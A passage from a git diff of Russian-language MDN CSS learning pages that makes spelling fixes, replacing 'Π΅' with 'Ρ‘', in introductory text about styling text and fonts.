+<p>Π’ Ρ€Π°Π·Π΄Π΅Π»Π΅ <strong><a href="/ru/docs/Learn/CSS/Как">ИспользованиС CSS для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></strong> Π΄Π°Π½Ρ‹ ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΠ΅,Β ΠΊΠ°ΠΊ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ самых распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы.</p>
-<p>Π’ самом Π½Π°Ρ‡Π°Π»Π΅ Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊ тСксту ΠΈ Ρ„ΠΎΠ½Ρƒ HTML-элСмСнтов, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ„ΠΎΡ€ΠΌΡƒ, мСстополоТСниС, Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Однако с ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Π½ΠΈΠ΅ΠΌ Π΄Π°ΠΆΠ΅ основ CSS Π’Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ практичСски Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ. Одним ΠΈΠ· плюсов изучСния CSS являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ быстро Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ»ΠΈ нСльзя Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ срСдствами CSS, Π΄Π°ΠΆΠ΅ Ссли Π’Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.Β  Β </p>
+<p>Π’ самом Π½Π°Ρ‡Π°Π»Π΅ Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊ тСксту ΠΈ Ρ„ΠΎΠ½Ρƒ HTML-элСмСнтов, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ„ΠΎΡ€ΠΌΡƒ, мСстополоТСниС, Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. Однако с ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Π½ΠΈΠ΅ΠΌ Π΄Π°ΠΆΠ΅ основ CSS Π’Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ практичСски Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ. Одним ΠΈΠ· плюсов изучСния CSS являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π’Ρ‹ быстро Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ»ΠΈ нСльзя Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ срСдствами CSS, Π΄Π°ΠΆΠ΅ Ссли Π’Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.Β  Β </p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/css/styling_text/fundamentals/index.html b/files/ru/learn/css/styling_text/fundamentals/index.html
index 5d80571f6f..270aec1251 100644
--- a/files/ru/learn/css/styling_text/fundamentals/index.html
+++ b/files/ru/learn/css/styling_text/fundamentals/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/CSS/Styling_text/Fundamentals
<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div>
-<p class="summary"><span class="seoSummary">Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΏΡƒΡ‚ΡŒ ΠΊ овладСнию стилизациСй тСкста ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ {{glossary("CSS")}}.</span>Β ΠœΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ основы стилизации тСкста ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π°, Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅, сСмСйство, стСнография, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ эффСкты, Π° Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим мСТдустрочный ΠΈ ΠΌΠ΅ΠΆΠ±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹.</p>
+<p class="summary"><span class="seoSummary">Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΏΡƒΡ‚ΡŒ ΠΊ овладСнию стилизациСй тСкста ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ {{glossary("CSS")}}.</span>Β ΠœΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ основы стилизации тСкста ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π°, Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅, сСмСйство, стСнография, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ эффСкты, Π° Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим мСТдустрочный ΠΈ ΠΌΠ΅ΠΆΠ±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,10 +24,10 @@ translation_of: Learn/CSS/Styling_text/Fundamentals
<h2 id="Π§Ρ‚ΠΎ_участвуСт_Π²_стилизации_тСкста_Π²_CSS">Π§Ρ‚ΠΎ участвуСт Π² стилизации тСкста Π² CSS?</h2>
-<p>Как Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ»ΠΈ Π² своСй Ρ€Π°Π±ΠΎΡ‚Π΅ с HTML ΠΈ CSS, тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта выкладываСтся Π² ΠΏΠΎΠ»Π΅ содСрТимого элСмСнта. Он начинаСтся Π² Π»Π΅Π²ΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΠ³Π»Ρƒ области содСрТимого (ΠΈΠ»ΠΈ Π² ΠΏΡ€Π°Π²ΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΠ³Π»Ρƒ, Π² случаС содСрТимого языка RTL) ΠΈ Ρ‚Π΅Ρ‡Π΅Ρ‚ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ строки. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ достигаСт ΠΊΠΎΠ½Ρ†Π°, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚, Π·Π°Ρ‚Π΅ΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС, ΠΏΠΎΠΊΠ° всС содСрТимоС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π² ΠΊΠΎΡ€ΠΎΠ±ΠΊΡƒ. ВСкстовоС содСрТимоС эффСктивно Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ ряд встроСнных элСмСнтов, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Ρ… Π½Π° сосСдних строках ΠΈ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Ρ€Ρ‹Π²Ρ‹ строк Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ достигнут ΠΊΠΎΠ½Π΅Ρ† строки, ΠΈΠ»ΠΈ Ссли Π²Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Ρ‹Π² строки Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{htmlelement("br")}}.</p>
+<p>Как Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ»ΠΈ Π² своСй Ρ€Π°Π±ΠΎΡ‚Π΅ с HTML ΠΈ CSS, тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта выкладываСтся Π² ΠΏΠΎΠ»Π΅ содСрТимого элСмСнта. Он начинаСтся Π² Π»Π΅Π²ΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΠ³Π»Ρƒ области содСрТимого (ΠΈΠ»ΠΈ Π² ΠΏΡ€Π°Π²ΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΡƒΠ³Π»Ρƒ, Π² случаС содСрТимого языка RTL) ΠΈ Ρ‚Π΅Ρ‡Ρ‘Ρ‚ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ строки. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½ достигаСт ΠΊΠΎΠ½Ρ†Π°, ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚, Π·Π°Ρ‚Π΅ΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкС, ΠΏΠΎΠΊΠ° всС содСрТимоС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π² ΠΊΠΎΡ€ΠΎΠ±ΠΊΡƒ. ВСкстовоС содСрТимоС эффСктивно Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ ряд встроСнных элСмСнтов, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… Π½Π° сосСдних строках ΠΈ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Ρ€Ρ‹Π²Ρ‹ строк Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ достигнут ΠΊΠΎΠ½Π΅Ρ† строки, ΠΈΠ»ΠΈ Ссли Π²Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Ρ‹Π² строки Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{htmlelement("br")}}.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Ссли ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ Π°Π±Π·Π°Ρ† оставляСт вас Π² Π·Π°ΠΌΠ΅ΡˆΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π΅, Ρ‚ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния β€” Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ΡΡŒ ΠΈ просмотритС Π½Π°ΡˆΡƒ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²Π΅ΠΆΠΈΡ‚ΡŒ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Ссли ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ Π°Π±Π·Π°Ρ† оставляСт вас Π² Π·Π°ΠΌΠ΅ΡˆΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π΅, Ρ‚ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния β€” Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ΡΡŒ ΠΈ просмотритС Π½Π°ΡˆΡƒ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²Π΅ΠΆΠΈΡ‚ΡŒ Ρ‚Π΅ΠΎΡ€ΠΈΡŽ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ.</p>
</div>
<p>Бвойства CSS, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для стилизации тСкста, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ дСлятся Π½Π° Π΄Π²Π΅ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассмотрим ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅:</p>
@@ -38,12 +38,12 @@ translation_of: Learn/CSS/Styling_text/Fundamentals
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта всС Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ ΠΊΠ°ΠΊ ΠΎΠ΄Π½Π° Сдиная ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Ρ‹ тСкста, Ссли Π²Ρ‹ Π½Π΅ ΠΎΠ±Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈΡ… Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{htmlelement ("span")}} ΠΈΠ»ΠΈ {{htmlelement ("strong")}}), ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ тСкстовый псСвдоэлСмСнт, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ::first-letter (выдСляСт ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ тСкста элСмСнта),:: first-line (выдСляСт ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку тСкста элСмСнта) ΠΈΠ»ΠΈ ::selection (выдСляСт тСкст, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ курсором.)</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ тСкст Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта всС Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ ΠΊΠ°ΠΊ ΠΎΠ΄Π½Π° Сдиная ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Ρ‹ тСкста, Ссли Π²Ρ‹ Π½Π΅ ΠΎΠ±Π΅Ρ€Π½Ρ‘Ρ‚Π΅ ΠΈΡ… Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{htmlelement ("span")}} ΠΈΠ»ΠΈ {{htmlelement ("strong")}}), ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ тСкстовый псСвдоэлСмСнт, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ::first-letter (выдСляСт ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ тСкста элСмСнта),:: first-line (выдСляСт ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку тСкста элСмСнта) ΠΈΠ»ΠΈ ::selection (выдСляСт тСкст, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ курсором.)</p>
</div>
<h2 id="Π¨Ρ€ΠΈΡ„Ρ‚Ρ‹">Π¨Ρ€ΠΈΡ„Ρ‚Ρ‹</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ сразу ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ свойств для стилизации ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства CSS ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ сразу ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ свойств для стилизации ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства CSS ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
diff --git a/files/ru/learn/css/styling_text/index.html b/files/ru/learn/css/styling_text/index.html
index 54a8cc02fe..9ec747a83e 100644
--- a/files/ru/learn/css/styling_text/index.html
+++ b/files/ru/learn/css/styling_text/index.html
@@ -24,7 +24,7 @@ translation_of: Learn/CSS/Styling_text
---
<p id="ΠŸΠ΅Ρ€Π΅Π΄_стартом">Β {{LearnSidebar}}</p>
-<p>Π Π°Π·ΠΎΠ±Ρ€Π°Π²ΡˆΠΈΡΡŒ с основами синтаксиса CSS, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π΅ΠΌΠΎΠΉ Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Π°ΠΌ слСдуСт ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ, это стилизация тСкста β€” ΠΎΠ΄Π½Π° ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. Π’ этой Ρ‚Π΅ΠΌΠ΅ ΠΌΡ‹ рассмотрим основныС ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ оформлСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π²Ρ‹Π±ΠΎΡ€ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², использованиС курсива ΠΈ ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°, отступов, Ρ‚Π΅Π½Π΅ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… срСдств придания ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ тСксту. Π’ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΡ‹ ΠΌΡ‹ рассмотрим использованиС Π½Π° вашСй страницС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ списков ΠΈ ссылок</p>
+<p>Π Π°Π·ΠΎΠ±Ρ€Π°Π²ΡˆΠΈΡΡŒ с основами синтаксиса CSS, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π΅ΠΌΠΎΠΉ Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Π°ΠΌ слСдуСт ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ, это стилизация тСкста β€” ΠΎΠ΄Π½Π° ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. Π’ этой Ρ‚Π΅ΠΌΠ΅ ΠΌΡ‹ рассмотрим основныС ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ оформлСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π²Ρ‹Π±ΠΎΡ€ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², использованиС курсива ΠΈ ΠΆΠΈΡ€Π½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°, отступов, Ρ‚Π΅Π½Π΅ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… срСдств придания ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ тСксту. Π’ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΡ‹ ΠΌΡ‹ рассмотрим использованиС Π½Π° вашСй страницС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ списков ΠΈ ссылок</p>
<h2 id="НСобходимыС_условия">НСобходимыС условия</h2>
